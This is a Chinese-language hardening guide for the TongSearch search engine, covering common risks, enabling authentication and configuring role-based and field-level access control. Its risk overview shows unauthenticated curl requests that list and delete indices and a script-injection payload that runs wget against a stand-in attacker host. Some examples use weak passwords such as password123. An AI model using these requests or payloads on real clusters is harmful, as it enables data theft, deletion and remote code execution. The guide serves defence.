目录
安全概述
简介
常见安全问题分类
风险评估
启用身份认证
启用安全功能
重启 TongSearch 服务
验证身份认证是否启用
创建新用户与角色
小结
基于角色的访问控制(RBAC)
RBAC 基础概念
创建和配置角色
创建用户并分配角色
角色权限控制
基于角色的访问控制细粒度配置
最佳实践
小结
TongSearch 作为分布式搜索与分析引擎,应用于日志检索、全文搜索、大数据分析、指标监控等多种场景。然而,由于其天然面向 HTTP 的开放性和“开箱即用”的特性,在部署时容易忽视了安全配置,导致遭受数据泄露或勒索攻击。
下面我们将对 TongSearch 在实际使用中常见的几类安全问题进行概述。
1.未授权访问(Unauthenticated Access)
TongSearch 默认监听 9200 端口,且在未配置任何认证机制时,对外开放所有 REST API。这意味着任何人都可以发送如下请求:
curl http://:9200/_cat/indices?v
即可列出所有索引数据。如果进一步发送:
curl -XDELETE http://:9200/index-name
甚至可以直接删除整个索引。
2.敏感信息泄露
TongSearch 中可能包含如下敏感信息:
一旦暴露,攻击者可以通过 _search 请求下载全部数据,无需任何认证。
3.集群节点被接管
TongSearch 支持多个节点组成集群。如果未对内部通信进行 TLS 加密与认证,攻击者可以伪造节点加入集群,实现如下攻击:
这种攻击在大型集群中影响极其严重,属于高级威胁范畴。
4.脚本执行漏洞
TongSearch 如果开启脚本功能(如 Groovy),攻击者可构造恶意 DSL 请求执行任意脚本,例如:
"script": {
"inline": "java.lang.Runtime.getRuntime().exec('wget http://evial.com/x.sh')"
}
如果没有安全控制,开启脚本支持,也存在极大风险。
风险类别 |
典型漏洞 |
风险等级 |
可能后果 |
未认证访问 |
开放 REST API |
高 |
数据被读取或删除 |
网络明文传输 |
未启用 HTTPS/TLS |
中 |
中间人攻击 |
集群通信漏洞 |
Transport 未加密 |
高 |
节点被劫持 |
权限缺失 |
未启用 RBAC |
高 |
敏感数据越权访问 |
恶意脚本执行 |
动态脚本注入漏洞 |
中 |
远程命令执行 |
在 TongSearch 中启用身份认证机制是构建安全体系的第一步。TongSearch中内置基础安全功能(Basic License),包括用户名密码认证、基于角色的访问控制(RBAC)等。在本节中,我们将重点介绍如何开启并验证最基础的用户名密码认证功能。
编辑 tongsearch.yml 文件,添加如下配置项:
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
这两项设置开启身份认证与节点通信加密功能。
配置修改后需重启服务:
首次启用认证时,TongSearch 会自动生成内置用户的初始密码。请查看终端输出内容。
通过 curl 测试时添加 -u 参数:
curl -u tongsearch:KZqfY8iTPbq0Xz3Y6FhA http://localhost:9200
若返回如下内容说明认证成功:
如不添加 -u,服务器将返回 HTTP 401 Unauthorized。
{
"error": {
"root_cause": [
{
"type": "security_exception",
"reason": "missing authentication credentials for REST request [/]",
"header": {
"WWW-Authenticate": "Basic realm=\"security\" charset=\"UTF-8\""
}
}
],
"type": "security_exception",
"reason": "missing authentication credentials for REST request [/]",
"header": {
"WWW-Authenticate": "Basic realm=\"security\" charset=\"UTF-8\""
}
},
"status": 401
}
创建角色文件:
编辑 config/roles.yml 添加:
read_role:
cluster: [ "monitor" ]
indices:
- names: [ "*" ]
privileges: [ "read" ]
TongSearch 提供 `tongsearch-users` 命令行工具:
创建用户:
./bin/tongsearch-users useradd logreader -p password123 -r read_role
本节介绍了如何在 TongSearch 中启用基础身份认证、生成初始密码并验证登录。该机制是所有后续安全功能的基础,如基于角色的访问控制、字段级访问控制、LDAP/AD 集成等都依赖于身份认证机制的正确开启。
在 TongSearch 中,基于角色的访问控制(RBAC)是确保集群和数据安全的重要功能。RBAC 通过为用户和服务分配不同的角色,来精确控制其对资源的访问权限。通过细粒度的权限管理,可以有效减少不必要的权限暴露,保护关键数据和服务不受滥用。在本节中,我们将介绍如何配置和使用 RBAC 来增强 TongSearch 的安全性。
RBAC 的核心思想是将权限与角色绑定,再将角色分配给用户。每个角色拥有一组权限,这些权限定义了用户能够执行的操作和访问的资源。在 TongSearch 中,RBAC 主要分为两部分:
角色(Role):角色定义了用户所拥有的权限。权限可分为集群权限和索引权限。集群权限定义了对集群的管理权限,如查看集群状态、管理节点等;索引权限定义了对特定索引的访问权限,包括读取、写入、删除等。
用户(User):用户是实际执行操作的实体。用户根据其所分配的角色,获得相应的权限。每个用户可以拥有多个角色,角色中的权限会叠加到用户身上。
在 TongSearch 中,角色配置通过 roles.yml 文件或使用 REST API 进行。下面我们介绍通过 roles.yml 配置角色的基本方式:
1、集群级别权限:集群权限控制了用户对集群的管理权限。常见的集群权限有 monitor(查看集群状态)、manage(管理集群设置)等。
monitor_role:
cluster: [ "monitor" ]
该角色仅允许查看集群状态,不能修改集群配置。
2、索引级别权限:索引权限控制了用户对索引数据的访问。常见的索引权限有 read(读取数据)、write(写入数据)、delete(删除数据)等。
read_logs_role:
cluster: [ "monitor" ]
indices:
- names: [ "logs-*", "error-*"]
privileges: [ "read" ]
该角色允许用户读取 logs-* 和 error-* 开头的索引,但无法执行其他操作。
3、综合权限配置:除了集群权限和索引权限外,角色还可以包含如 index、delete、create 等权限。通过组合不同的权限,可以创建符合业务需求的角色。
admin_role:
cluster: [ "all" ]
indices:
- names: [ "*" ]
privileges: [ "all" ]
此角色授予用户对所有索引的完全权限(包括删除、创建等),适合管理员使用。
在配置角色后,需要将角色分配给实际的用户。可以通过 tongsearch-users 工具来创建用户,并使用 -r 参数将角色赋给用户。例如:
./bin/tongsearch-users useradd alice -p password123 -r monitor_role
此命令创建了一个用户名为 alice 的用户,并为其分配了 monitor_role 角色。
查看用户角色:可以使用以下命令查看某个用户的角色信息:
./bin/tongsearch-users roles alice
在实际的生产环境中,RBAC 会帮助企业满足细粒度的权限控制需求,确保每个用户仅能访问其职责范围内的数据。以下是几个常见的 RBAC 配置实例:
1、只读角色:只允许用户读取日志数据,无法进行修改或删除。
log_reader_role:
cluster: [ "monitor" ]
indices:
- names: [ "logs-*"]
privileges: [ "read" ]
2、索引管理角色:允许用户对某些特定索引执行管理操作,如创建、删除索引等。
index_admin_role:
cluster: [ "manage" ]
indices:
- names: [ "logs-*", "metrics-*"]
privileges: [ "create", "delete" ]
3、日志分析角色:允许用户读取数据并进行查询分析。
log_analyst_role:
cluster: [ "monitor" ]
indices:
- names: [ "logs-*", "error-*"]
privileges: [ "read", "search" ]
TongSearch 还支持更加精细的权限控制,例如:
1、文档级别安全性(DLS):通过设置查询条件,限制用户访问特定文档。用户只能看到符合条件的文档。例如,限制用户只查看与其相关的日志数据:
dls_role:
cluster: [ "monitor" ]
indices:
- names: [ "logs-*"]
privileges: [ "read" ]
query: '{"term": {"user_id": "alice"}}'
2、字段级别安全性(FLS):限制用户对索引中特定字段的访问。例如,用户可以查看日志内容,但不能查看包含敏感信息的 password 字段:
fls_role:
cluster: [ "monitor" ]
indices:
- names: [ "logs-*"]
privileges: [ "read" ]
fields: [ "message", "timestamp" ]
RBAC 在 TongSearch 中是实现精细化权限控制的重要工具。通过合理配置角色和用户,管理员可以对不同的用户、服务和应用进行灵活的权限管理,从而提高系统的安全性。在本节中,我们学习了如何创建和分配角色,如何通过细粒度控制访问权限。正确理解和配置 RBAC 是确保 TongSearch 集群安全的基础之一。